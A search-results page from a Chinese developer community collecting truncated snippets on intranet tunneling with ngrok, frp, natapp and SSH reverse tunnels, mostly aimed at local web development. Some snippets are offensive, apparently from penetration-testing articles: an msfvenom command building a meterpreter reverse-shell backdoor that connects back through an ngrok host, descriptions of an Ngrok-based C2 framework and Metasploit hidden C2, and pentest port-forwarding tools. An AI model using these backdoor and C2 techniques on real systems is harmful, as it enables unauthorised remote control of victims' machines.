首页
学习
活动
专区
圈层
工具
发布

开源内网穿透工具ngrok详解实战,无公网IP直接用和有公网服务器自己搭建2种方式的详细教程

比如在进行微信公众号、小程序开发,或者处理第三方支付接口回调等功能时,往往需要配置 webhook,而本地开发环境通常处于内网,外部网络无法直接访问。...简单来说,就是让外边的人能访问到你本地的计算机,比如你电脑上有个网站,外边的人直接是访问不到的,这时候就需要用内网穿透软件。...4、启动内网穿透假设本地运行了一个 Web 服务,监听在 8080 端口,现在要通过 Ngrok 将其暴露到公网。...二、有公网主机自己搭建ngrok内网穿透服务器ngrok是一个内网穿透的解决方案,它使得你本地的服务器可以被局域网外的公网访问,ngork有服务端和客户端,服务端运行在公网服务器,客户端运行在本地服务器...自己公网主机搭建穿透服务器就多了一个公网机部署的操作,如无公网IP的则直接用对应客户端添加映射本地具体应用端口媃即可让外网访问。

37720

ngrok+nginx实现内网穿透

ngrok1.x源码github地址 如上封面图所示 橘色屏幕的笔记本是你的工作机器,安装了ngrok客户端 ngrok.com所在的服务器安装了ngrok的服务端(ngrokd) 利用ngrok 8080...)的客户端->本地机器下载上一步生成的客户端->本地新建配置文件ngrok.cfg->本地运行客户端并指定配置文件->出现online则说明穿透成功 一个例子 数据准备 本机地址 IP:127.0.0.1.../ngrok -config=ngrok.cfg -log=ngrok.log start test1 方法2:(最后一个8080代表映射的本地主机端口) ....监听http的端口为60 nginx监听了当前服务器的80端口(域名访问hccrm.ngrok.lestat.me时会直接访问到nginx监听的80端口,因此需要nginx转发) server {...: 目前不知如何实现对本地虚拟主机的访问(例如本地apache上httpd-vhosts中配置的虚拟主机) 由于ngrok1.x已于两年前停止维护,再加上第一个问题1,因此后续准备写一篇关于frp的搭建记录

5K70
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    最好用的内网穿透工具合集

    ---- 1、ngrok ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。.../ngrok authtoken 授权码 (3)将HTTP隧道转发到本地端口80,如下图,通过外网域名即可访问到本地80端口。 ./ngrok http 80 ?.../frpc.ini (5)通过ssh访问内网服务器,假设用户名为test: ssh -p 6000 test@x.x.x.x 3、Sunny-Ngrok 一条命令解决的外网访问内网问题,无需任何配置,一条命令让外网访问您的内网不再是距离...Ngrok客户端,支持Windows、Linux、Mac,提供python、PHP等版本。...下载地址: https://natapp.cn (1)购买隧道,设置隧道协议和本地端口。 ? (2)下载客户端,到目标主机,运行natapp。 ?

    8.2K10

    调试利器-SSH隧道

    本文将教你如何通过 SSH 隧道把本地服务映射到外网,以方便调试,通常把这种方法叫内网穿透。...最终目的 把运行在本地开发机上的 HTTP 服务映射到外网,让全世界都能通过外网 IP 服务到你本地开发机上的 HTTP 服务。...例如你本地的 HTTP 服务监听在 127.0.0.1:8080,你有一台公网 IP 为 12.34.56.78 的服务器,通过本文介绍的方法,可以让全世界的用户通过 http://12.34.56.78...为此你需要去外网服务器上修改 /etc/ssh/sshd_config 文件如下: GatewayPorts yes 这个选项的意思是,SSH 隧道监听的服务的 IP 是对外开放的 0.0.0.0,而不是只对本机的...,它有以下特点: 不需要有外网服务器,因为 ngrok 会为你提供; 只需要在本地开发机安装 ngrok 客户端,和注册 ngrok 账户; 按照服务收费; 这些代替方案的缺点在于都需要再额外安装其它工具

    3K90

    调试利器-SSH隧道

    本文将教你如何通过 SSH 隧道把本地服务映射到外网,以方便调试,通常把这种方法叫内网穿透。...最终目的 把运行在本地开发机上的 HTTP 服务映射到外网,让全世界都能通过外网 IP 服务到你本地开发机上的 HTTP 服务。...例如你本地的 HTTP 服务监听在 127.0.0.1:8080,你有一台公网 IP 为 12.34.56.78 的服务器,通过本文介绍的方法,可以让全世界的用户通过 http://12.34.56.78...为此你需要去外网服务器上修改 /etc/ssh/sshd_config 文件如下: GatewayPorts yes 这个选项的意思是,SSH 隧道监听的服务的 IP 是对外开放的 0.0.0.0,而不是只对本机的...,它有以下特点: 不需要有外网服务器,因为 ngrok 会为你提供; 只需要在本地开发机安装 ngrok 客户端,和注册 ngrok 账户; 按照服务收费; 这些代替方案的缺点在于都需要再额外安装其它工具

    2K20

    调试利器:SSH隧道

    本文将教你如何通过 SSH 隧道把本地服务映射到外网,以方便调试,通常把这种方法叫内网穿透。...[1510047622607_5687_1510047668407.png] 最终目的 把运行在本地开发机上的 HTTP 服务映射到外网,让全世界都能通过外网 IP 服务到你本地开发机上的 HTTP...例如你本地的 HTTP 服务监听在 127.0.0.1:8080,你有一台公网 IP 为 12.34.56.78 的服务器,通过本文介绍的方法,可以让全世界的用户通过 http://12.34.56.78...为此你需要去外网服务器上修改 /etc/ssh/sshd_config 文件如下: GatewayPorts yes 这个选项的意思是,SSH 隧道监听的服务的 IP 是对外开放的 0.0.0.0,而不是只对本机的...,它有以下特点: 不需要有外网服务器,因为 ngrok 会为你提供; 只需要在本地开发机安装 ngrok 客户端,和注册 ngrok 账户; 按照服务收费; 这些代替方案的缺点在于都需要再额外安装其它工具

    4.4K00

    云服务器搭建自己的ngrok服务-实现内网穿透

    本文介绍ngrok是什么以及如何通过开源ngrok自建服务搭建,实现内网穿透。...3.在家的PC上做了一个小站点,想让异地的朋友看时,可以将这个站点暴露给他访问(比如我在做本地开发微信时)。...什么是内网穿透 内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。...下面就相互通信的主机在网络中与 NAT 设备的相对位置介绍内网穿透方法。 总结一句话就是本地运行的项目(没有公网IP的项目),如果不使用内网穿透,只能本机访问。...用到了内网穿透,就会给一个公网的ip代替本地ip,这样别人就可以访问到你的本地项目啦。 [whatisngrok2] 什么叫ngrok?

    8.9K10

    MaccaroniC2:一款功能强大的纯Python命令控制框架

    关于MaccaroniC2 MaccaroniC2是一款功能强大的命令控制C2框架,该工具基于纯Python实现,可以帮助广大研究人员在特定场景中实现控制命令的发送和结果的接收。...该工具使用了功能强大的AsyncSSH Python库实现其功能,该Python库提供了一个异步客户端和基于SSHv2协议的服务器实现,并使用了PyNgrok封装器来集成Ngrok。...在特定场景中,目标设备需要运行AsyncSSH服务器并建立一个通向外部的隧道,并随时准备接收研究人员发送的命令。 命令发送方利用Ngrok官方API来获取隧道的主机名和端口信息,并建立通信连接。...工具下载 由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3.x环境。...5、在Ngrok网站上创建一个免费的API密钥,记录下生成的密钥字符串。

    26910

    【内网安全】 隧道搭建&穿透上线&FRP&NPS&SPP&Ngrok&EW项目

    /sunny clientid 133328291918 //控制端连接Ngrok的服务器 3、客户端生成后门配置监听: msfvenom -p windows/meterpreter/reverse_tcp...lhost=free.idcfengye.com lport=10134 -f exe -o tcp.exe 注意这里生成木马是使用的是ngrok平台提供的域名,本地kali客户端使用隧道号与平台建立连接...,靶机点击后门之后,反向连接ngrok平台提供的域名,流量经过转发到本地kali上,实现内网穿透。.../nps http://IP:8080/ admin/123 2、创建客户端,生成密匙 3、添加协议隧道,绑定指向 远程绑定5566,指向本地88 -客户端: 1、连接服务端: ....在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。 1、服务端: 监听本地icmp流量 .

    30310

    内网渗透常用端口转发与代理工具枚举

    端口转发到具有公网ip主机的 4444 端口 2.公网主机 上执行 Lcx.exe –listen 公网主机端口1 公网主机端口2 例如: lcx.exe –listen 4444 5555 意思是监听公网主机本机的.../portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777 意思是监听来自6666端口的请求,将其转发到7777端口 再在内网主机上执行: ....7.在2节点开启socks代理,并绑定在本地端口 goto 2 将当前被管理节点切换为 2 号节点。socks 1080 此时,本地1080 端口会启动个监听服务,而服务提供者为2号节点。...Windows: python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v 其中: -l 表示本地监听的端口 -r 远程要转发的端口...启动frp客户端: frpc.exe -c frpc.ini 更多使用方法详见 https://github.com/fatedier/frp/blob/master/README_zh.md 五、ngrok

    3.3K20

    安利几个内网穿透神器,轻松将本地主机上云提供互联网服务,玩转内网穿透公网访问详细教程

    简单的来说:就是让别人通过外网能够访问到我们本地的主机或者服务器。内网穿透的应用场景多到超乎想象,生活中随处可见它的身影。...2、开发者的福音:本地服务上公网如果你是程序员,本地写了个Web应用或API,想让客户或团队试用,但又不想立刻部署到云服务器上,怎么办?内网穿透一键搞定,把本地服务暴露到公网,调试演示两不误。...易用性:windows界面化操作,Linux等平台客户端可登录页面添加修改。2、操作步骤:(1)注册帐号:上对应官网注册。(2)下载客户端:目标主机本地或所在内网下载安装对应平台版本客户端。.../frpc -c frpc.ini配置好后,在外网用SSH客户端输入: ssh -p 6000 用户名@公网服务器IP就能连上内网设备的SSH了。是不是很酷?...(2)下载客户端按系统下载cpolar。(3)配置并启动登录后,配置本地服务端口,启动后获取公网地址。使用示例用cpolar给的地址访问内网Web服务,体验跟Ngrok差不多,但免费版更慷慨。

    1.4K10

    day8 | 如何将我的服务开放给用户 | 第三届字节跳动青训营笔记

    ,使用该方式面临诸多问题: 流量和负载:用户规模指数级增长,文件大小越来越大,统一分 发引起较大的网络流量和cpu负载 名称冲突:无法保证主机名称的唯一性, 同名主机添加导致服务故障 时效性:分发靠人工上传...AAAA 用来指定主机名(或域名)对应的 IPv6 地址记录。 CNAME 如果需要将域名指向另一个域名,再由另一个域名提供 ip 地址,就需要添加 CNAME 记录。...2.2.3 DNS记录类型 A/AAAA: IP指向记录,用于指向IP,前者为IPv4记录,后者为IPv6记录 CNAME:别名记录,配置值为别名或主机名,客户端根据别名继续解析以提取IP地址 TXT:...“提问:服务开发前期,如何低成本的让别人访问自己的服务?.../setup 3.5如何将本地服务开放外网访问 命令: .

    3.2K10

    Centos7搭建ngrok服务端以及配置客户端

    首先我们需要准备以下: 一个主机记录为*的域名(可以为二级域名) 一个通配符证书 一台有外网IP的服务器(以上操作全在这台服务器上进行) git以下ngrok的源码 git clone https:/...=":1314" -tunnelAddr=":1315" # domain是你上面的域名,httpAddr是HTTP的端口,httpsAddr是HTTPS的端口,tunnelAddr是ngrok的监听端口...(你也可以不加httpAddr以及后面的参数,让ngrok使用自己默认的端口,这里主要是服务器已经占用了80跟443端口,所以自己指定了端口) 输出: [11:06:28 CST 2019/06/18]...编译客户端-Linux cd ngrok/ make release-client 如果是yum安装GO,那么客户端就是:ngrok/bin/ngrok 如果是下载安装GO,那么客户端就是:/usr/.../ngrok -subdomain miku -config=ngrok.cfg 80 #这句命令的意思是,设置访问二级域名为miku.example.com,引用ngrok.cfg配置文件,监听本地的

    4.3K11

    Ngrok + Metasploit = 暂时性隐蔽C2

    Ngrok Ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。 反向代理在计算机网络中是代理服务器的一种。...服务器根据客户端的请求,从其关系的一组或多组后端服务器(如Web服务器)上获取资源,然后再将这些资源返回给客户端,客户端只会得知反向代理的IP地址,而不知道在代理服务器后面的服务器集群的存在。...这里主要选择 tcp 隧道,然后本地端口也就是 Kail 要监听的端口,我这里选了8888 端口(在实际攻击场景中尽量选择一些不让人怀疑的高端口,例如 26458 等等,别设置例如:4444 、5555...最后 Kali 打开 MSF 控制台 msfconsole 开启监听(注意这里的端口需要设置为 8888,ip设置为本地 127.0.0.1 ): msf > set lhost 127.0.0.1 msf...通过这样的方式能够以最少的成本去隐蔽自己,当然这种方式也不是最有效的隐蔽手段,但是是最快捷的方式,通过 Ngrok 能基本上能满足大部分渗透的需求。 ?

    1.2K20

    4个Linux小技巧,帮你提高机器学习生产效率

    当我们输入r awesome_video.mp4时,它会搜索awesome_video.mp4文件所在路径,并连同主机名以字符串rtransfer 的形式打印出来。 ?...rtransfer作为iTerm2的触发关键词,解析出主机和路径,然后调用另一个本地脚本t2。脚本t2将这个视频文件传输到临时目录,然后在该目录中打开Finder。 ?...远程访问TensorBoard 除了抓取远程文件,另一个让人痛苦的是访问远程服务器上的TensorBoard实例。你可以设置SSH端口转发,但是哪个端口对应哪个服务器?它们都在Docker容器中。...ngrok可以让你把访问本地端口变成访问URL,比如输入ngrok http 6006后,它会为你生成一个URL网址http://683acac3.ngrok.io,你可以在这个地址中查看TensorBoard...ngrok下载地址:https://ngrok.com/ 用tbplot代替TensorBoard绘图 对于运行大量metrics的情形,我们需要等待较长时间让TensorBoard加载所有图形。

    67130

    Hacking with Golang

    [20210801131657.png] 这篇文章从几个知名 golang 安全项目的角度,看看 golang 在安全领域的使用场景和特定。...内网穿透 这里面比较知名的工具是 frp 和 ngrok,gost。...原理和上面的流程图说的类似,远程的 tunnel 服务为 ngrokd,本地使用 ngrok client;目前还有一些免费的 tunnel 服务,用户只需要本地使用 ngrok 注册到免费公开的 tunnel...Node 分为 LocalNode 和 ChainNode,chain node 是远程的,需要一个 Transporter 和 一个 Connector; 而 本地Node 而用于接受本地请求,需要一个...网络扫描 goscan 是一个内网扫描的工具,他会扫描内网的 ip 空间,发送 arp 包,获取主机的 ip, mac 地址,主机名,厂商等信息 xray 是一个对某个域名进行 OSINT【公开来源情报

    1.9K160

    Tomcat 的 Server 文件配置详解!

    Server的主要任务,就是提供一个接口让客户端能够访问到这个Service集合,同时维护它所包含的所有的Service的声明周期,包括如何初始化、如何结束服务、如何找到客户端要访问的Service。...在这个例子中,Tomcat监听HTTP请求,使用的是8080端口,而不是正式的80端口;实际上,在正式的生产环境中,Tomcat也常常监听8080端口,而不是80端口。...客户端通常使用主机名来标识它们希望连接的服务器;该主机名也会包含在HTTP请求头中。Tomcat从HTTP头中提取出主机名,寻找名称匹配的主机。如果没有匹配,请求将发送至默认主机。...每个Host组件代表Engine中的一个虚拟主机;每个Context组件代表在特定Host上运行的一个Web应用。 2、如何确定请求由谁处理?...(5)pattern:指定记录日志的格式,本例中各项的含义如下: %h:远程主机名或IP地址;如果有nginx等反向代理服务器进行请求分发,该主机名/IP地址代表的是nginx,否则代表的是客户端。

    2.2K40

    本地内网服务器如何互联网访问全攻略:从配置端口映射到问题排查到解决无公网IP工具

    2.设置监听端口:在配置文件中找到Listen指令,默认情况下可能是Listen 80。如果在路由器上设置的外部端口不是 80,需要将此处的端口号修改为与外部端口一致,例如Listen 8080。...然后选择 “特定本地端口”,并输入要映射的端口号,比如常见的 Web 服务端口 80 或 443。点击 “下一步”。...方法2:本地计算机使用nat123客户端或类似支持动态域名服务的软件,添加个动态域名解析记录,绑定自己域名或默认提供的自定义二级域名。...ngrok是一个反向代理工具,它可以将你本地运行的Web服务暴露给公网,这对于开发、测试和演示非常有用。下面是如何使用ngrok来访问你的本地开发服务器的步骤:1....启动ngrok隧道现在,你可以启动一个隧道来访问你的本地服务器。例如,如果你的本地开发服务器运行在localhost的3000端口,你可以这样启动隧道:ngrok http 30005.

    29310

    Tomcat 的 Server 文件配置详解!

    Server的主要任务,就是提供一个接口让客户端能够访问到这个Service集合,同时维护它所包含的所有的Service的声明周期,包括如何初始化、如何结束服务、如何找到客户端要访问的Service。...在这个例子中,Tomcat监听HTTP请求,使用的是8080端口,而不是正式的80端口;实际上,在正式的生产环境中,Tomcat也常常监听8080端口,而不是80端口。...客户端通常使用主机名来标识它们希望连接的服务器;该主机名也会包含在HTTP请求头中。Tomcat从HTTP头中提取出主机名,寻找名称匹配的主机。如果没有匹配,请求将发送至默认主机。...每个Host组件代表Engine中的一个虚拟主机;每个Context组件代表在特定Host上运行的一个Web应用。 2、如何确定请求由谁处理?...(5)pattern:指定记录日志的格式,本例中各项的含义如下: %h:远程主机名或IP地址;如果有nginx等反向代理服务器进行请求分发,该主机名/IP地址代表的是nginx,否则代表的是客户端。

    2.6K31
    领券